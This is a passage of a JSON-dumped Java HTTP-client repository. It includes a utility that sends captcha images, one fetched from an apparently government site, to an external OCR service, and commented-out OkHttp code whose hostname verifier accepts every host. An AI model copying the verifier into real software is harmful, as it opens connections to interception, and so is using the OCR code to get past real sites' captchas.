savePath\t\t图片保存的完整路径（值为null时，不保存），如：c:/1.png\n\t * @param limitCodeLen\t验证码长度\n\t * @return\t返回识别的验证码结果\n\t */\n\t@SuppressWarnings(\"resource\")\n\tpublic static String ocrCode4Net(HttpConfig config, String savePath, int limitCodeLen){\n\t\tif(savePath==null || savePath.equals(\"\")){//如果不保存图片，则直接使用图片地址的方式获取验证码\n\t\t\treturn ocrCode4Net(config.url(), limitCodeLen);\n\t\t}\n\t\t\n\t\tbyte[] data = null;\n\t\t\n\t\tStringBuffer strBuf = new StringBuffer();\n\t\tfor (Entry<String, Object> entry : map.entrySet()) {\n\t\t\tstrBuf.append(\"\\r\\n\").append(\"--\").append(boundary).append(\"\\r\\n\");\n\t\t\tstrBuf.append(\"Content-Disposition: form-data; name=\\\"\" + entry.getKey() + \"\\\"\\r\\n\\r\\n\");\n\t\t\tstrBuf.append(entry.getValue());\n\t\t}\n\t\tstrBuf.append(\"\\r\\n\").append(\"--\").append(boundary).append(\"\\r\\n\");\n\t\tstrBuf.append(\"Content-Disposition: form-data; name=\\\"ocrfile\\\"; filename=\\\"\" + \"aaa\" + \"\\\"\\r\\n\");\n\t\tstrBuf.append(\"Content-Type:application/octet-stream\\r\\n\\r\\n\");\n\t\t\n\t\t//下载图片\n\t\tByteArrayOutputStream out = new ByteArrayOutputStream();\n\t\ttry {\n\t\t\tout = (ByteArrayOutputStream) HttpClientUtil.down(config.client(client).out(out));\n\t\t\t//本地测试，可以保存一下图片，方便核验\n\t\t\tFileOutputStream fos = new FileOutputStream(savePath);\n\t\t\tfos.write(out.toByteArray());\n\t\t\t\n\t\t\tByteArrayOutputStream bos = new ByteArrayOutputStream(out.size()+strBuf.length()+end.length());\n\t\t\tbos.write(strBuf.toString().getBytes());\n\t\t\tbos.write(out.toByteArray());\n\t\t\tbos.write(end.getBytes());\n\t\t\tdata= bos.toByteArray();\n\t\t} catch (HttpProcessException e) {\n\t\t\tUtils.exception(e);\n\t\t} catch (IOException e) {\n\t\t\tUtils.exception(e);\n\t\t}\n\t\t\n\t\tMap<String , Object> m = new HashMap<String, Object>();\n\t\tm.put(Utils.ENTITY_BYTES, data);\n\t\t\n\t\tString html;\n\t\ttry {\n\t\t\thtml = HttpClientUtil.post(config.client(client).url(apiUrl).headers(headers).map(m));\n\t\t\t//System.out.println(html);\n\t\t\tString[] results = StringUtil.regex(\"<Result>([^<]*)</Result>\\\\s*<Status>([^<]*)</Status>\", html);\n\t\t\tif(results.length>0){\n\t\t\t\t//System.out.println(results[0]);\n\t\t\t\tif(Boolean.parseBoolean(results[1])){\n\t\t\t\t\tif(limitCodeLen<=0 || limitCodeLen==results[0].length()){//不判断长度或者长度一致时，直接返回\n\t\t\t\t\t\treturn results[0];\n\t\t\t\t\t}else{\n\t\t\t\t\t\treturn \"Error:获取失败! 原因：识别结果长度为:\"+results[0].length()+\"（期望长度:\"+limitCodeLen+\"）\";\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\treturn \"Error:获取失败! 原因：\"+results[0];\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (HttpProcessException e) {\n\t\t\tUtils.exception(e);\n\t\t}\n\t\t\n\t\treturn \"Error:获取失败!\";\n\t}\n\t\n\tpublic static void main(String[] args) throws HttpProcessException, IOException {\n//\t\tenableCatch();\n\t\tString filePath=\"C:/Users/160049/Desktop/中国.png\";\n\t\tString url = \"http://file.ocrking.net:6080/small/20161104/w4fCjnzCl8KTwphpwqnCv2bCn8Kp/66fcff8d-61b1-49d6-bbfe-7428cf7accdf_debug.png?e9gFvJmkLbmgsZNTUCCNkjfi8J0Wbpn1CZHeP98eT1kxZ0ISBDt8Ql6h6zQ79pJg\";\n\t\tString url2 = \"http://59.41.9.91/GZCX/WebUI/Content/Handler/ValidateCode.ashx?0.3271647585525703\";\n\t\tString code1 = ocrCode(filePath, 5);\n\t\tString code2 = ocrCode4Net(url,5);\n\t\tString code3 = ocrCode4Net(HttpConfig.custom().url(url2), System.getProperty(\"user.dir\")+System.getProperty(\"file.separator\")+\"123.png\", 5);\n\t\tSystem.out.println(code1);\n\t\tSystem.out.println(code2);\n\t\tSystem.out.println(code3);\n\t\tSystem.out.println(\"----\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/httpclientutil/common/util/PropertiesUtil.java",
    "content": "/*********************************************************\n * 2012-2013 (c) IHARM Corporation. All rights reserved. *\n *********************************************************/\npackage com.jun.plugin.httpclient.httpclientutil.common.util;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\n\n/**\n * 最简单的属性文件读取工具类\n * \n * @author arron\n * @version 1.0\n */\npublic class PropertiesUtil {\n\n\t/**\n\t * 默认属性集合（文件在Constants中配置）\n\t */\n\tprotected static Properties defaultProp = null;\n\t/**\n\t * 所有读取过的属性集合\n\t * 文件名 - 属性集合\n\t */\n\tprotected static Map<String, Properties> allProps = new HashMap<String, Properties>();\n\t\n\t// 初始化默认的属性集合\n\tstatic {\n\t\tif (defaultProp == null) {\n\t\t\tdefaultProp = loadProperties(\"config.properties\");\n\t\t\tallProps.put(\"config.properties\", defaultProp);\n\t\t}\n\t}\n\t\n\t/**\n\t * 读取属性文件，并将读出来的属性集合添加到【allProps】当中\n\t * 如果该属性文件之前已读取过，则直接从【allProps】获得\n\t * \n\t * @param fileName 属性文件名\n\t * @return 属性\n\t */\n\tpublic static Properties getProperties(String fileName) {\n\t\tif (fileName==null || \"\".equals(fileName)) {\n\t\t\treturn defaultProp;\n\t\t} else {\n\t\t\tProperties prop = allProps.get(fileName);\n\t\t\tif(prop == null) {\n\t\t\t\tprop = loadProperties(fileName);\n\t\t\t\tallProps.put(fileName, prop);\n\t\t\t}\n\t\t\t\n\t\t\treturn prop;\n\t\t}\n\t}\t\t\n\t\n\t/**\n\t * 解析属性文件，将文件中的所有属性都读取到【Properties】当中\n\t * \n\t * @param fileName 属性文件名\n\t * @return 属性\n\t */\n\tprotected static Properties loadProperties (String fileName) {\n\t\tProperties prop = new Properties();\n\t\tInputStream ins = null;\n\t\tins = PropertiesUtil.class.getClassLoader().getResourceAsStream(fileName);\n\t\tif (ins == null) {\n\t\t    System.err.println(\"Can not find the resource!\");\n\t\t} else {\n\t\t\ttry {\n\t\t\t\tprop.load(ins);\n\t\t\t} catch (IOException e) {\n\t            System.err.println(\"An error occurred when reading from the input stream, \"+e.getMessage());\n\t\t\t} catch (IllegalArgumentException e) {\n                System.err.println(\"The input stream contains a malformed Unicode escape sequence, \"+e.getMessage());\n\t\t\t}\n\t\t}\n\t\treturn prop;\n\t}\n\t\n\t/**\n\t * 从指定的属性文件中获取某一属性值\n\t * 如果属性文件不存在该属性则返回 null\n\t * \n\t * @param fileName 属性文件\n\t * @param name 属性名称\n\t * @return 属性值\n\t */\n\tpublic static String getProperty(String fileName, String name){\n\t\treturn getProperties(fileName).getProperty(name);\n\t}\n\t\n\t/**\n\t * 从默认的属性文件中获取某一属性值\n\t * 如果属性文件不存在该属性则返回 null\n\t * @param name 属性名称\n\t * @return 属性值\n\t */\n\tpublic static String getProperty(String name){\n\t\treturn getProperties(null).getProperty(name);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/httpclientutil/common/util/StringUtil.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.common.util;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n/** \n * 字符串简易工具类\n * \n * @author arron\n * @version 1.0 \n */\npublic class StringUtil {\n\n\t/**\n\t * 通过正则表达式获取内容\n\t * \n\t * @param regex\t\t正则表达式\n\t * @param from\t\t原字符串\n\t * @return\t返回匹配结果\n\t */\n\tpublic static String[] regex(String regex, String from){\n\t\tPattern pattern = Pattern.compile(regex); \n\t\tMatcher matcher = pattern.matcher(from);\n\t\tList<String> results = new ArrayList<String>();\n\t\twhile(matcher.find()){\n\t\t\tfor (int i = 0; i < matcher.groupCount(); i++) {\n\t\t\t\tresults.add(matcher.group(i+1));\n\t\t\t}\n\t\t}\n\t\treturn results.toArray(new String[]{});\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/httpclientutil/evictor/NIdleConnectionEvictor.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.evictor;\n\nimport java.util.concurrent.ThreadFactory;\nimport java.util.concurrent.TimeUnit;\n\nimport org.apache.http.nio.conn.NHttpClientConnectionManager;\nimport org.apache.http.util.Args;\n\n/**\n * This class maintains a background thread to enforce an eviction policy for expired / idle\n * persistent connections kept alive in the connection pool.\n *\n */\npublic final class NIdleConnectionEvictor {\n\n    private NHttpClientConnectionManager connMgr;\n    private final ThreadFactory threadFactory;\n    private final Thread thread;\n    private final long sleepTimeMs;\n    private final long maxIdleTimeMs;\n\n    @SuppressWarnings(\"unused\")\n\tprivate volatile Exception exception;\n\n    public NIdleConnectionEvictor(\n            final NHttpClientConnectionManager connMgr,\n            final ThreadFactory threadFactory,\n            final long sleepTime, final TimeUnit sleepTimeUnit,\n            final long maxIdleTime, final TimeUnit maxIdleTimeUnit) {\n        //this.connMgr = Args.notNull(connMgr, \"Connection manager\");\n    \tthis.connMgr = connMgr;\n        this.threadFactory = threadFactory != null ? threadFactory : new DefaultThreadFactory();\n        this.sleepTimeMs = sleepTimeUnit != null ? sleepTimeUnit.toMillis(sleepTime) : sleepTime;\n        this.maxIdleTimeMs = maxIdleTimeUnit != null ? maxIdleTimeUnit.toMillis(maxIdleTime) : maxIdleTime;\n        this.thread = this.threadFactory.newThread(new Runnable() {\n            @Override\n            public void run() {\n                try {\n                    while (!Thread.currentThread().isInterrupted()) {\n                        Thread.sleep(sleepTimeMs);\n                        connMgr.closeExpiredConnections();\n                        if (maxIdleTimeMs > 0) {\n                            connMgr.closeIdleConnections(maxIdleTimeMs, TimeUnit.MILLISECONDS);\n                        }\n                    }\n                } catch (Exception ex) {\n                    exception = ex;\n                }\n\n            }\n        });\n    }\n\n    public NIdleConnectionEvictor(\n            final NHttpClientConnectionManager connMgr,\n            final long sleepTime, final TimeUnit sleepTimeUnit,\n            final long maxIdleTime, final TimeUnit maxIdleTimeUnit) {\n        this(connMgr, null, sleepTime, sleepTimeUnit, maxIdleTime, maxIdleTimeUnit);\n    }\n\n    public NIdleConnectionEvictor(\n            final NHttpClientConnectionManager connMgr,\n            final long maxIdleTime, final TimeUnit maxIdleTimeUnit) {\n        this(connMgr, null,\n                maxIdleTime > 0 ? maxIdleTime : 5, maxIdleTimeUnit != null ? maxIdleTimeUnit : TimeUnit.SECONDS,\n                maxIdleTime, maxIdleTimeUnit);\n    }\n    \n    public NIdleConnectionEvictor(\n    \t\tfinal long maxIdleTime, final TimeUnit maxIdleTimeUnit) {\n    \tthis(null, null,\n    \t\t\tmaxIdleTime > 0 ? maxIdleTime : 5, maxIdleTimeUnit != null ? maxIdleTimeUnit : TimeUnit.SECONDS,\n    \t\t\t\t\tmaxIdleTime, maxIdleTimeUnit);\n    }\n    \n    public NIdleConnectionEvictor setConnMgr(final NHttpClientConnectionManager connMgr){\n        this.connMgr = Args.notNull(connMgr, \"Connection manager\");    \t\n        return this;\n    }\n\n    public void start() {\n    \tArgs.notNull(connMgr, \"Connection manager\");\n        thread.start();\n    }\n\n    public void shutdown() {\n        thread.interrupt();\n    }\n\n    public boolean isRunning() {\n        return thread.isAlive();\n    }\n\n    public void awaitTermination(final long time, final TimeUnit tunit) throws InterruptedException {\n        thread.join((tunit != null ? tunit : TimeUnit.MILLISECONDS).toMillis(time));\n    }\n    \n    public void await() {\n    \ttry {\n    \t\tshutdown();\n\t\t\tthread.join();\n\t\t} catch (InterruptedException e) {\n\t\t\te.printStackTrace();\n\t\t}\n    }\n\n    static class DefaultThreadFactory implements ThreadFactory {\n\n        @Override\n        public Thread newThread(final Runnable r) {\n            final Thread t = new Thread(r, \"Connection evictor\");\n            t.setDaemon(true);\n            return t;\n        }\n\n    };\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/httpclient/httpclientutil/exception/HttpProcessException.java",
    "content": "package com.jun.plugin.httpclient.httpclientutil.exception;\n\n\n/** \n * \n * @author arron\n * @version 1.0 \n */\npublic class HttpProcessException  extends Exception {\n\tprivate static final long serialVersionUID = -2749168865492921426L;\n\n\tpublic HttpProcessException(Exception e){\n\t\tsuper(e);\n\t}\n\n\t/**\n\t * @param msg\t消息\n\t */\n\tpublic HttpProcessException(String msg) {\n\t\tsuper(msg);\n\t}\n\t\n\t/**\n\t * @param message\t异常消息\n\t * @param e\t\t\t异常\n\t */\n\tpublic HttpProcessException(String message, Exception e) {\n\t\tsuper(message, e);\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/okhttp/FastHttpClient.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp;\n\nimport java.security.SecureRandom;\n\nimport javax.net.ssl.HostnameVerifier;\nimport javax.net.ssl.SSLContext;\nimport javax.net.ssl.SSLSession;\nimport javax.net.ssl.SSLSocketFactory;\nimport javax.net.ssl.TrustManager;\nimport javax.net.ssl.X509TrustManager;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.okhttp.ssl.X509TrustManagerImpl;\n\nimport okhttp3.OkHttpClient;\n\n/**\n *\n * @author Wujun\n *\n * /\npublic class FastHttpClient {\n\t//\n\tpublic static Logger logger = LoggerFactory.getLogger(FastHttpClient.class);\n\t//\n\tpublic static OkHttpClient okHttpClient=getDefaultOkHttpClient();\n\t//\n\tpublic static OkHttpClient getDefaultOkHttpClient() {\n\t\tOkHttpClient.Builder builder = new OkHttpClient().newBuilder();\n\t\tfinal X509TrustManager trustManager=new X509TrustManagerImpl();\n\t\tSSLSocketFactory sslSocketFactory=null;\n\t\ttry {\n\t\t\tSSLContext sslContext = SSLContext.getInstance(\"SSL\");\n\t\t\tsslContext.init(null, new TrustManager[] { trustManager }, new SecureRandom());\n\t\t\tsslSocketFactory = sslContext.getSocketFactory();\n\t\t} catch (Exception e) {\n\t\t\tlogger.error(e.getMessage(),e);\n\t\t}\n\t\treturn builder.sslSocketFactory(sslSocketFactory, trustManager).hostnameVerifier(new HostnameVerifier() {\n\t\t\t@Override\n\t\t\tpublic boolean verify(String hostname, SSLSession session) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}).build();\n\t}\n\t//\n\tpublic static GetBuilder get() {\n\t\treturn new GetBuilder();\n\t}\n\n\t//\n\tpublic static PostBuilder post() {\n\t\treturn new PostBuilder();\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/okhttp/GetBuilder.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp;\n\nimport java.util.Map;\n\n/**\n *\n * @author Wujun\n *\n * /\npublic class GetBuilder extends OkHttpRequestBuilder<GetBuilder> {\n\t@Override\n\tpublic RequestCall build() {\n\t\tif (params != null) {\n\t\t\turl = appendParams(url, params);\n\t\t}\n\t\treturn new GetRequest(url, tag, params, headers, id).build();\n\t}\n\n\tprotected String appendParams(String url, Map<String, String> params) {\n\t\tif (url == null || params == null || params.isEmpty()) {\n\t\t\treturn url;\n\t\t}\n\t\tStringBuilder builder = new StringBuilder();\n\t\tparams.forEach((k,v)->{\n\t\t\tif(builder.length()==0){\n\t\t\t\tbuilder.append(\"?\");\n\t\t\t}else if (builder.length()>0) {\n\t\t\t\tbuilder.append(\"&\");\n\t\t\t}\n\t\t\tbuilder.append(URIEncoder.encodeUTF8(k));\n\t\t\tbuilder.append(\"=\").append(URIEncoder.encodeUTF8(v));\n\t\t});\n\t\treturn url+builder.toString();\n\t}\n\n\tpublic GetBuilder params(Map<String, String> params) {\n\t\tthis.params = params;\n\t\treturn this;\n\t}\n\n\tpublic GetBuilder addParams(String key, String val) {\n\t\tparams.put(key, val);\n\t\treturn this;\n\t}\n\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/okhttp/GetRequest.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp;\n\nimport java.util.Map;\n\nimport okhttp3.Request;\nimport okhttp3.RequestBody;\n\n/**\n *\n * @author Wujun\n *\n * /\npublic class GetRequest extends OkHttpRequest {\n\t//\n\tpublic GetRequest(String url, Object tag, Map<String, String> params,\n\t\t\tMap<String, String> headers, int id) {\n\t\tsuper(url,tag,params,headers,null,null,id);\n\t}\n\n\t@Override\n\tprotected RequestBody buildRequestBody() {\n\t\treturn null;\n\t}\n\n\t@Override\n\tprotected Request buildRequest(RequestBody requestBody) {\n\t\treturn builder.get().build();\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/okhttp/OkHttpRequest.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp;\n\nimport java.util.List;\nimport java.util.Map;\n\nimport com.jun.plugin.okhttp.PostRequest.FileInfo;\nimport com.jun.plugin.okhttp.callback.Callback;\n\nimport okhttp3.Headers;\nimport okhttp3.Request;\nimport okhttp3.RequestBody;\n\n/**\n *\n * @author Wujun\n *\n * /\npublic abstract class OkHttpRequest {\n\tprotected int id;\n\tprotected String url;\n\tprotected Map<String, String> params;\n\tprotected Map<String, String> headers;\n\tprotected String postBody;\n\tprotected List<FileInfo> fileInfos;\n\tprotected Request.Builder builder = new Request.Builder();\n\t//\n\tprotected OkHttpRequest(String url, Object tag, Map<String, String> params,\n\t\t\tMap<String, String> headers,List<FileInfo> fileInfos,String postBody,int id) {\n\t\tthis.url = url;\n\t\tthis.params = params;\n\t\tthis.headers = headers;\n\t\tthis.fileInfos=fileInfos;\n\t\tthis.postBody=postBody;\n\t\tthis.id = id;\n\t\tif (url==null) {\n\t\t\tthrow new IllegalArgumentException(\"url can not be null.\");\n\t\t}\n\t\tbuilder.url(url).tag(tag);\n\t\tappendHeaders();\n\t}\n\n\tprotected abstract RequestBody buildRequestBody();\n\n\tprotected abstract Request buildRequest(RequestBody requestBody);\n\n\tpublic RequestCall build() {\n\t\treturn new RequestCall(this);\n\t}\n\n\tpublic Request createRequest(Callback callback) {\n\t\tRequestBody requestBody=buildRequestBody();\n\t\tRequest request = buildRequest(requestBody);\n\t\treturn request;\n\t}\n\n\tprotected void appendHeaders() {\n\t\tHeaders.Builder headerBuilder = new Headers.Builder();\n\t\tif (headers == null || headers.isEmpty())\n\t\t\treturn;\n\n\t\tfor (String key : headers.keySet()) {\n\t\t\theaderBuilder.add(key, headers.get(key));\n\t\t}\n\t\tbuilder.headers(headerBuilder.build());\n\t}\n\n\tpublic int getId() {\n\t\treturn id;\n\t}\n\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/okhttp/OkHttpRequestBuilder.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp;\n\nimport java.util.LinkedHashMap;\nimport java.util.Map;\n\n/**\n *\n * @author Wujun\n * /\n\n@SuppressWarnings({ \"unchecked\", \"rawtypes\" })\npublic abstract class OkHttpRequestBuilder<T extends OkHttpRequestBuilder> {\n\tprotected String url;\n\tprotected Object tag;\n\tprotected Map<String, String> headers;\n\tprotected Map<String, String> params;\n\tprotected int id;\n\t//\n\tpublic OkHttpRequestBuilder(){\n\t\theaders=new LinkedHashMap<>();\n\t\tparams=new LinkedHashMap<>();\n\t}\n\t//\n\tpublic T id(int id) {\n\t\tthis.id = id;\n\t\treturn (T) this;\n\t}\n\n\tpublic T url(String url) {\n\t\tthis.url = url;\n\t\treturn (T) this;\n\t}\n\n\tpublic T tag(Object tag) {\n\t\tthis.tag = tag;\n\t\treturn (T) this;\n\t}\n\n\tpublic T headers(Map<String, String> headers) {\n\t\tthis.headers = headers;\n\t\treturn (T) this;\n\t}\n\n\tpublic T addHeader(String key, String val) {\n\t\theaders.put(key, val);\n\t\treturn (T) this;\n\t}\n\n\tpublic abstract RequestCall build();\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/okhttp/PostBuilder.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp;\n\nimport java.io.UnsupportedEncodingException;\nimport java.nio.charset.StandardCharsets;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\nimport com.jun.plugin.okhttp.PostRequest.FileInfo;\n\n/**\n *\n * @author Wujun\n *\n * /\npublic class PostBuilder extends OkHttpRequestBuilder<PostBuilder> {\n\n\tprivate List<FileInfo> fileInfos;\n\tprivate String postBody;\n\t//\n\tpublic PostBuilder(){\n\t\tfileInfos=new ArrayList<>();\n\t}\n\n\t@Override\n\tpublic RequestCall build() {\n\t\treturn new PostRequest(url,tag, params,headers,fileInfos,postBody,id).build();\n\t}\n\n\tpublic PostBuilder params(Map<String, String> params) {\n\t\tthis.params = params;\n\t\treturn this;\n\t}\n\n\tpublic PostBuilder addParams(String key, String val) {\n\t\tparams.put(key, val);\n\t\treturn this;\n\t}\n\n\tpublic PostBuilder addParams(Map<String,String> paramMap) {\n\t\tif(paramMap==null){\n\t\t\treturn this;\n\t\t}\n\t\tparamMap.forEach((k,v)->{params.put(k, v);});\n\t\treturn this;\n\t}\n\n\tpublic PostBuilder body(String postBody) {\n\t\tthis.postBody = postBody;\n\t\treturn this;\n\t}\n\n\tpublic PostBuilder addFile(String partName,String fileName,byte[] content){\n\t\tFileInfo fileInfo=new FileInfo();\n\t\tfileInfo.partName=partName;\n\t\tfileInfo.fileName=fileName;\n\t\tfileInfo.fileContent=content;\n\t\tfileInfos.add(fileInfo);\n\t\treturn this;\n\t}\n\n\tpublic PostBuilder addFile(String partName,String fileName,String content)\n\tthrows UnsupportedEncodingException{\n\t\treturn addFile(partName, fileName, content,StandardCharsets.UTF_8.toString());\n\t}\n\n\tpublic PostBuilder addFile(String partName,String fileName,String content,String charsetName)\n\tthrows UnsupportedEncodingException{\n\t\treturn addFile(partName, fileName, content.getBytes(charsetName));\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/okhttp/PostRequest.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp;\n\nimport java.io.UnsupportedEncodingException;\nimport java.net.FileNameMap;\nimport java.net.URLConnection;\nimport java.net.URLEncoder;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport okhttp3.FormBody;\nimport okhttp3.Headers;\nimport okhttp3.MediaType;\nimport okhttp3.MultipartBody;\nimport okhttp3.Request;\nimport okhttp3.RequestBody;\n\n/**\n *\n * @author Wujun\n *\n * /\npublic class PostRequest extends OkHttpRequest {\n\t//\n\tpublic static Logger logger = LoggerFactory.getLogger(PostRequest.class);\n\t//\n\tpublic PostRequest(String url, Object tag, Map<String, String> params,\n\t\t\tMap<String, String> headers,List<FileInfo> fileInfos,String postBody,int id) {\n\t\tsuper(url, tag, params, headers, fileInfos,postBody,id);\n\t}\n\n\t@Override\n\tprotected RequestBody buildRequestBody() {\n\t\tif(postBody!=null&&postBody.length()>0){\n\t\t\tMediaType MEDIA_TYPE_PLAIN = MediaType.parse(\"text/plain;charset=utf-8\");\n\t\t\treturn RequestBody.create(MEDIA_TYPE_PLAIN,postBody);\n\t\t}\n\t\telse if (fileInfos == null || fileInfos.isEmpty()) {\n\t\t\tFormBody.Builder builder = new FormBody.Builder();\n\t\t\taddParams(builder);\n\t\t\tFormBody formBody = builder.build();\n\t\t\treturn formBody;\n\t\t} else{\n\t\t\tMultipartBody.Builder builder = new MultipartBody.Builder().setType(MultipartBody.FORM);\n\t\t\taddParams(builder);\n\t\t\tfileInfos.forEach(fileInfo -> {\n\t\t\t\tRequestBody fileBody = RequestBody.create(MediaType.parse(getMimeType(fileInfo.fileName)),\n\t\t\t\t\t\tfileInfo.fileContent);\n\t\t\t\tbuilder.addFormDataPart(fileInfo.partName, fileInfo.fileName, fileBody);\n\t\t\t});\n\t\t\treturn builder.build();\n\t\t}\n\t}\n\n\t@Override\n\tprotected Request buildRequest(RequestBody requestBody) {\n\t\treturn builder.post(requestBody).build();\n\t}\n\n\tprivate void addParams(FormBody.Builder builder) {\n\t\tif (params!= null) {\n\t\t\tparams.forEach((k,v)->builder.add(k,v));\n\t\t}\n\t}\n\t//\n\tprivate void addParams(MultipartBody.Builder builder) {\n\t\tif (params != null && !params.isEmpty()) {\n\t\t\tparams.forEach((k,v)->{\n\t\t\t\tbuilder.addPart(Headers.of(\"Content-Disposition\", \"form-data; name=\\\"\" + k + \"\\\"\"),\n\t\t\t\t\t\tRequestBody.create(null,v));\n\t\t\t});\n\t\t}\n\t}\n\n\t//\n\tpublic static class FileInfo {\n\t\tpublic String partName;\n\t\tpublic String fileName;\n\t\tpublic byte[] fileContent;\n\t}\n\t//\n\tpublic static String getMimeType(String path) {\n\t\tFileNameMap fileNameMap = URLConnection.getFileNameMap();\n\t\tString contentTypeFor = null;\n\t\ttry {\n\t\t\tcontentTypeFor = fileNameMap.getContentTypeFor(URLEncoder.encode(path, \"UTF-8\"));\n\t\t} catch (UnsupportedEncodingException e) {\n\t\t\tlogger.error(e.getMessage(),e);\n\t\t}\n\t\tif (contentTypeFor == null) {\n\t\t\tcontentTypeFor = \"application/octet-stream\";\n\t\t}\n\t\treturn contentTypeFor;\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/main/java/com/jun/plugin/okhttp/RequestCall.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.TimeUnit;\n\nimport javax.net.ssl.HostnameVerifier;\nimport javax.net.ssl.SSLContext;\nimport javax.net.ssl.SSLSession;\nimport javax.net.ssl.SSLSocketFactory;\nimport javax.net.ssl.X509TrustManager;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.okhttp.callback.Callback;\nimport com.jun.plugin.okhttp.ssl.X509TrustManagerImpl;\n\nimport okhttp3.Call;\nimport okhttp3.Interceptor;\nimport okhttp3.OkHttpClient;\nimport okhttp3.Request;\n\n/**\n *\n * @author Wujun\n *\n * /\npublic class RequestCall {\n\t//\n\tprivate static Logger logger=LoggerFactory.getLogger(RequestCall.class);\n\t//\n\tprivate OkHttpRequest okHttpRequest;\n\tprivate Request request;\n\tprivate Call call;\n\t//\n\tprivate long readTimeOut;\n\tprivate long writeTimeOut;\n\tprivate long connTimeOut;\n\t//\n\tprotected List<Interceptor> networkInterceptors;\n\tprotected SSLContext sslContext;\n\t//\n\tpublic RequestCall(OkHttpRequest request) {\n\t\tthis.okHttpRequest = request;\n\t\tthis.networkInterceptors=new ArrayList<>();\n\t}\n\n\tpublic RequestCall readTimeOut(long readTimeOut) {\n\t\tthis.readTimeOut = readTimeOut;\n\t\treturn this;\n\t}\n\n\tpublic RequestCall writeTimeOut(long writeTimeOut) {\n\t\tthis.writeTimeOut = writeTimeOut;\n\t\treturn this;\n\t}\n\n\tpublic RequestCall connTimeOut(long connTimeOut) {\n\t\tthis.connTimeOut = connTimeOut;\n\t\treturn this;\n\t}\n\n\tpublic RequestCall addNetworkInterceptor(Interceptor networkInterceptor){\n\t\tnetworkInterceptors.add(networkInterceptor);\n\t\treturn this;\n\t}\n\n\tpublic RequestCall sslContext(SSLContext sslContext){\n\t\tthis.sslContext=sslContext;\n\t\treturn this;\n\t}\n\n\tprivate void setSSLSocketFactory(OkHttpClient.Builder builder,SSLContext sslContext) {\n\t\tSSLSocketFactory sslSocketFactory=null;\n\t\tfinal X509TrustManager trustManager=new X509TrustManagerImpl();\n\t\ttry {\n\t\t\tsslSocketFactory = sslContext.getSocketFactory();\n\t\t} catch (Exception e) {\n\t\t\tlogger.error(e.getMessage(),e);\n\t\t}\n\t\tbuilder.sslSocketFactory(sslSocketFactory, trustManager).\n\t\thostnameVerifier(new HostnameVerifier() {\n\t\t\t@Override\n\t\t\tpublic boolean verify(String hostname, SSLSession session) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t});\n\t}\n\n\tpublic Call buildCall(Callback callback) {\n\t\tOkHttpClient client=FastHttpClient.okHttpClient;\n\t\tif (readTimeOut>0||writeTimeOut>0||connTimeOut>0||\n\t\t\t\tnetworkInterceptors.size()>0||sslContext!=null) {\n\t\t\tOkHttpClient.Builder builder=FastHttpClient.okHttpClient.newBuilder();\n\t\t\tif(connTimeOut>0){\n\t\t\t\tbuilder.readTimeout(connTimeOut, TimeUnit.MILLISECONDS);\n\t\t\t}\n\t\t\tif(readTimeOut>0){\n\t\t\t\tbuilder.readTimeout(readTimeOut, TimeUnit.MILLISECONDS);\n\t\t\t}\n\t\t\tif(writeTimeOut>0){\n\t\t\t\tbuilder.readTimeout(writeTimeOut, 